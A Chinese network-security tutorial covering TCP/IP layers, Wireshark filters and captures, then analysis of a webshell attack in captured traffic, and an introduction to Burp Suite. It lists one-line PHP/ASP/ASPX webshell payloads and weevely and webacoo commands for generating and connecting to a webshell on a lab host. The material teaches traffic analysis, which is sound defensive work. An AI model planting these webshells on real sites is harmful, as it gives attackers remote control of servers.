一、Wireshark抓取网络数据包1、知识准备1.1 TCP/IP协议TCP/IP(Transmission Control Protocl/Internet Protocol,传输控制协议/网际协议) 是指能够在多个不同网络间实现信息传输的协议簇,它是现实中用户的实际通信协议。TCP/IP协议不是指TCP和IP两个协议,而是指一个由 FTP、SMTP、TCP、UDP、IP 等协议构成的协议簇。TCP/IP协议参考了OSI/RM(开放系统连参考模型) 的体系结构,如图3-1-1所示。OSI/RM 模型共有七层,从下到上分别是物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。在 TCP/IP 协议中,它们被简化为四个层次。1、应用层、表示层、会话层三个层次提供的服务相差不是很大,所以在 TCP/IP 协议它们被合并为应用层一个层次。2、由于传输层和网络层在网络协议中的地位十分重要,所以,在TCP/IP 协议中它们被作为独立的两个层次。3、因为数据链路层和物理层的内容相差不多,所以在TCP/IP 协议中它们被归并在网络接口层一个层次里。与有七层体系结构的OSI/RM 相比,只有四层体系结构的TCP/IP 协议要简单得多,也正是这样,TCP/IP 协议在实际的应用中效率更高,成本更低。分别介绍TCP/IP 协议中的四个层次。应用层:应用层是 TCP/IP 协议的第一层,是直接为应用进程提供服务的。1、对不同种类的应用程序,它们会根据自己的需要来使用应用层的不同协议,邮件传输应用使用了SMTP协议、万维网应用使用了HTTP 协议、远程登录服务应用使用了 Telnet 协议。2、应用层还能加密、解密、格式化数据。3、应用层可以建立或解除与其他节点的联系,这样可以充分节省网络资源。传输层: 作为TCP/IP 协议的第二层,传输层在整个 TCP/IP 协议中起到了中流砥的作用。网络层: 网络层在TCP/IP 协议中位于第三层。在TCP/IP 协议中,网络层可以进行网络连接的建立和终止,以及IP 地址的寻找等。网络接口层: 在TCP/IP协议中,网络接口层位于第四层。由于网络接口层兼并了物理层和数据链路层,所以网络接口层既是传输数据的物理媒介,也可以为网络层提供一条准确无误的线路。TCP/IP各层有着不同的协议,如网络层的ICMP 协议负责网络连通性的测试 (ping命令,用于传递在主机和路由器之间的控制信息,ARP (ARAP) 协议负责将物理地址与地址相互转化;传输层的 TCP 协议提供面向连接、可靠、基于字节流通信方法,UDP 协提供无连接发送封装的 IP 数据包的方法;应用层的 HTTP 协议提供简单网页请求响应协议FTP 协议提供文件的传输服务,Telnet 协议提供远程登录服务等,应用层的不同协议对应传输层的不同端口,这在之前的章节已经介绍。1.2 Wireshark软件Wireshark (前称 Ethereal) (图3-1-2)是个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包信息。Wireshark 功能界面如图3-1-3 所示1、Display Filter (显示过滤器): 用于过滤。2、Packet List Pane(封包列表):显示捕获到的封包有源地址和目标地址、端口号3、Packet Details Pane (封详细信息)显示封包中的字段4、Dissector Pane (16 进制数据)。5、Miscellanous (地址栏)。过滤数据包同时也尤为重要,打开过滤器的方式:单击主界面上的显示过滤器单击Capture->Capture Filters,设置捕捉过滤器汪意,捕捉过滤器仅支持协议过滤,显示过滤器既支持协议过滤,也支持内容过滤,两种过滤器支持的过滤语法并不一样。以下是过滤表达式规则:1、显示过滤器。对捕捉到的数据包依据协议或包的内容进行过滤。语法见表3 -1-1。语法ProtocolString1String2Comparison operatorValueLogical OperationsOther expression例子httprequestmethod==“POST”oricmp.typeString1和String2 是可选的依据协议过滤时,可直接通过协议来进行过滤,也能依据协议的属性值进行过滤。按协议进行过滤时,snmpldns icmp 显示SNMP或 DNS或ICMP 封包。按协议的属性值进行过滤:ip. addr ==10.1.1.1 ip. src!=10. 1.2.3 or ip. dst! = 10.4.5.6 ip.src==10.230.0.0/16,显示来自10.230 网段的封包 tcp.port ==25,显示来源或目的TCP端口号为25的封包 tcp.dstport ==25,显示目的TCP 端口号为25 的封包。 http.request.method =="POST”,显示 post 请求方式的 http 封包。 http.host =="tracker 1ting. com",显示请求的域名为 tracker.1ting. com 的 http 封包 tcp.flags.syn ==0x02,显示包含TCP SYN标志的封包。 2、捕获过滤器。捕捉前依据协议的相关信息进行过滤设置。语法见表3 -1-2语法ProtocolString1String2Comparison operatorValueLogical OperationsOther expression例子tcpdst10.1.1.180andTcp dst 10.2.2.2 3128示例:(host 10.4. 1. 12 or src net 10.6.0. 0/16) and tcp dst portrange 200 - 10000 and dst n捕捉IP为10.4.1.12 或者源IP 位于网络10.6.0.0/16,目的IP的TCP 端口号在200~000之间,并且目的IP位于网络 10000/8内的所有封包。字段详解:Protocol (协议):可能值有 ether、fddi ip、arp、rarp、decnet、lat、sca、moprc、mopdl、tcp and udp。如果没指明协议类型,则默认为捕捉所有支持的协议。注:在Wireshark的HELP-Manual Pages - Wireshark Filter中查到其支持的协议。Drection (方向):可能值有 src、dst、sre and dst、src or dst。如果没指明方向,则默认使用“src or dst”作为关键字“host 10.2.2.2”与“src or dst host 10.2.2.2”等价。Host(s):可能值有 net、port、host、portrange。默认使用“host”关键字,“sre 10.1.1.1”与“src host 10.1.1.1”等价。Logical Operations (逻辑运算);可能值有not、and、ot。否(“not”) 具有最高的优先级;或 (“or”) 和与 (“and”) 具有相同的优先级,运算时从左至右进行。“not tcp port 3128 and tcp port 23”与“ (not tcp port 3128) and tcp port 23”等价“not tcp port 3128 and tcp pot 23”与“not ( tcp port 3128 and tcp port 23)”不等价2、Wireshark抓取ICMP协议包ICMP (Intermet Control Message Protocol);Internet 控制报文协议。它是TCP/IP 协议簇的一个子协议,用于在IP 主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。如图3-1-4 所示,在资料文件夹中打开Wireshark 工具。单击“WiesharkPortable”,如图3-1-5所示,这时会显示监听到的所有网卡的数据包流量。单击“VMware Network Adapter VMnet8”,如图3-1-6所示,启动抓包。在物理机念令行输人 ping命令,测试与虚拟机的连通性,单击“停止抓包”命令。在“Protocol”选项下,单击 ICMP 协议,分析数据包结构,可以看到 TCP/IP 模型中的物理层、数据链路层、网络层及协议层的相关内容。其中ICMP 协议包包含的参数项有类型Type)、代码 (Code)、校验和(Checksum)、序列号(Sequence number)、数据(Data等。图3-1-7中ICMP包中 type 为8 说明是回复包,code 为0说明是相通的应答状态。3、Wireshark抓取TCP协议包传输控制协议 (Transmission Control Protocol,TCP) 是一种面向连接的、可靠的、基于字节流的传输层通信协议。马买如图3-1-8所示,TCP协议保证网络可靠连接。在连接建立前,需要服务器端和客户端进行三次握手:1、客户端发送SYN (SEO=x) 报文给服务器端,进入 SYN_SEND 状态。2、服务器端收到SYN 报文,回应一个SYN (SEQ=y)-ACK (ACK =x+1) 报文,进入SYN_RECV 状态。3、客户端收到服务器端的SYN 报文,回应一个 ACK (ACK =y+1) 报文,进入 Established 状态。三次握手完成,TCP客户端和服务器端成功建立连接,可以开始传输数据了断开连接时,需要进行四次握手:1、某个应用进程首先调用 close,称该端执行“主动关闭” (active close)。该端的TCP于是发送一个 FIN分节,表示数据发送完毕。2、接收到这个FIN 的对端执行“被动关闭”(passive close),这个FIN由TCP确认。注意:FIN的接收也作为一个文件结束符 (end-of-le)传递给接收端应用进程,放在已排队等候该应用进程接收的任何其他数据之后,这是因为FIN的接收意味着接收端应用进程在相应连接上再无额外数据可接收。3、一段时间后,接收到这个文件结束符的应用进程将调用 close 关闭它的套接字,这导致它的 TCP 也发送一个FIN。4、接收这个最终 FN 的原发送端 TCP (即执行主动关闭的那一端 确认这个 FIN。以下通过 Wireshark 抓包来看一下TCP协议建立连接的三次握手。在搜索框中输入“tcp”,这时会看到TCP协议通信的三次握手情况,其中首次通信时发送的 SYN 数据包具体结构所示,其中包含源端口号目标端口号、序列号、控制位、校验和等。4、Wireshark抓取HTTP包HTTP 协议是 TCP/IP 中的高层协议,它是一个简单的请求 -响应协议,通常用于网站访问。它指定了客户端可能发送给服务器什么样的消息及得到什么样的响应。本案例抓取一个HTTP 包,如图3-1-12 所示。可见HTTP 协议运行在TCP 之上,并且客户端发送的内容是明文显示的,很容易被黑客知道。启动 Wireshark 软件抓取本地访问网站的数据包 (HTTP 包)二、Wireshark分析黑客攻击包1、知识准备1.1 HTTP中的get和post方法超文本传输协议 (HTTP)的设计目的是保证客户机与服务器之间的通信。HTTP 的工作方式是客户机与服务器之间的请求 -应答协议。Web 浏览器可能是客户端,而计算机上的网络应用程序也可能作为服务器端。在客户机和服务器之间进行请求 -响应时,两种最常被用到的方法是 get和 post。get:从指定的资源请求数据post:向指定的资源提交要被处理的数据(1) get方法查询字符串(名称/值对)是在 get 请求的URL中发送的形式为:网页url变量=值。get 查询的值。要查询的值会在 URL中明文显示get 方法有如下特点:1、get 请求可被缓存。2、get 请求保留在浏览器历史记录中3、get 请求可被收藏为书签。4、get 请求不应在处敏感数据时使用5、get 请求有长度限制。6、get 请求只应当用于取回数据。(2) post 方法查询字符串(名称/值对)是在 post 请求的 HTTP 消息主体中发送的。post 方法传递的变量不会在 URL 显示出来,但可以通过抓包显示,如本项目任务一中的图3-1-2 所示。post 方法有如下特点:1、post 请求不会被缓存2、post 请求不会保留在浏览器历史记录中3、post 不能被收藏为书签。4、post 请求对数据长度没有要求(3)比较get与post比较选项getpost后退按钮/刷新数据不改变数据会被重新提交(浏览器应该告知用户数据会被重新提交)书签 可收藏为书签不可收藏为书签缓存能被缓存不能被缓存编码类型application/x - www - form - urlencodedapplication/x - www - form - urlencoded 或 multi-part/form- data。为二进制数据使用多编码历史参数保留在浏览器历史中 参数不会保存在浏览器历史中对数据类型的限制当发送数据时,get方法向URL添加数据,URL的长度是受限制的(URL的最大长度是2048个字符) 无限制对数据类型的限制 只允许ASCII字符没有限制,也允许二进制数据安全性与post 相比get的安全性较差,因为所发送的数据是URL的一部分。在发送密码或其他敏感信息时,绝不要使用getpost 比get 更安全,因为参数不会被保存在浏览器历史或 Web 服务器日志中可见性 数据在URL中对所有人都是可见的数据不会显示在URL中1.2 计算机中的木马木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除,件、发送密码、记录键盘和攻击 DOS 等特殊功能的后门程序。木马病毒其实是计算机黑客用于远程控制计算机的程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门,伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性,可以根据黑客意图突然发起攻击。一句话木马是最简单的木马程序,它短小精悍,功能强大,隐蔽性好,在人侵中始终扮演着强大的作用。当木马被上传到目标网站后,可以利用“中国菜刀”等连接工具连接网站后台,实现进一步的渗透操作。常见的一句话木马根据不同的网页设计语言如下:ASP 一句话木马:<execute(request("value"))>PHP一句话木马:<php @ eval($_POST[value]);>ASPX一句话木马:<%@ Page Language="Jscript"> <eval( Request.Item "value"])>其他一句话木马:<eval request("value")> <execute request("value")> <execute(request("value"))> <If Request("value")<> n Then Execute(Request("value"))> <if request ("value") <>"then session( "value") =request("value"end if;if session("value")<> then execute session("value" %> <SCRIPT language = VBScript runat = "server" > execute request( "value"</SCRIPT > <@ Page Language="Jscript"> <eval(Request,Item "value" ,"unsafe"> 此外,在 Kali Linux 中也有网页木马工具:名称生成木马向网站连接木马webacoowebacoo -g - o a. phpwebacoo -t -u http://127.0.0.1/a. phpweevelyweevely generate < password > 1. phpweevely http://127.0.0. 1/1. php < password >Kali Linux中的 Msfvenom 工具也是制作木马常用工具。2、对黑客攻击包分析首先,我这里先使用中国菜刀weevely生成木马来上传到靶场win7:weevely generate 8888 /root/88.php 将88.php上传到win7上:连接木马:weevely http://192.168.217.143/88.php 88882.1 分析目标主机IP地址首先我们可以看到133与143进行了三次握手,然后133去访问了143,http,说明143在提供网页服务,同时80端口开放,所以,143就是目标主机。2.2 分析攻击机的IP地址在 Wireshark 搜索框尝试输入“ip.src =192.168.217.143and ip.dst =192.168.217.133 and http”会发现只有 192.168.217.133 与目标主机并进行了post 传值,所以192.168.217.133是攻击机。2.3 分析攻击机上传木马后请求的信息查看攻击机的post数据包信息,即可看到以下内容:三、Burp Suite抓包与改包1、知识准备1.1 Burp Suite介绍Burp Suite 是用于攻击 Web 应用程序的集成台,如图3-3-1所示。它包含了许多Burp 工具,这些不同的 Burp 工具通过协同工作,有效地分享信息,支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击。这些工具设计了许多接口,以加快攻击应用程序的过程。所有的工具都共享一个能处理并显示 HTTP 消息、持久性、认证、代理、日志警报、可扩展的框架。它主要用来做安全性渗透测试。1.2 Burp Suite功能模块如图3-3-2所示,Burp Suite 提供了很多功能模块,具体描述如下:代理(Proxy);是一个拦截 HTTPS 请求的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许拦截、查看、修改在两个方向上的原始数据流。爬虫 (Spider): 是一个应用智能感应的网络爬虫,它能完整地枚举应用程序的内容和功能。扫描(Scanner[仅限专业版]):是一个高级的工具,执行后,它能自动地发现 Web应用程序的安全漏洞。测试器(Intruder):是一个定制的高度可配置的工具,对Web 应用程序进行自动化攻击,例如,枚举标识符、收集有用的数据,以及使用 Fuzzing 技术探测常规漏洞。重发器 (Repeater):是一个靠手动操作来补发单独的HTTP 请求,并分析应用程序响应的工具。定序器 (Sequencer):是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。编码器 (Decoder):是一个进行手动执行或对应用程序数据者智能解码、编码的工具。对比器(Comparer):是一个实用的工具,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。BurpSuite的使用和配置在项目一的任务二中已经介绍。
0
0
0
浏览量2035
超超

小白入门黑客之渗透测试基本流程

渗透测试就是模拟真实黑客的攻击手法对目标网站或主机进行全面的安全评估,与黑客攻击不一样的是,渗透测试的目的是尽可能多地发现安全漏洞,而真实黑客攻击只要发现一处入侵点即可以进入目标系统。
0
0
0
浏览量2388

履历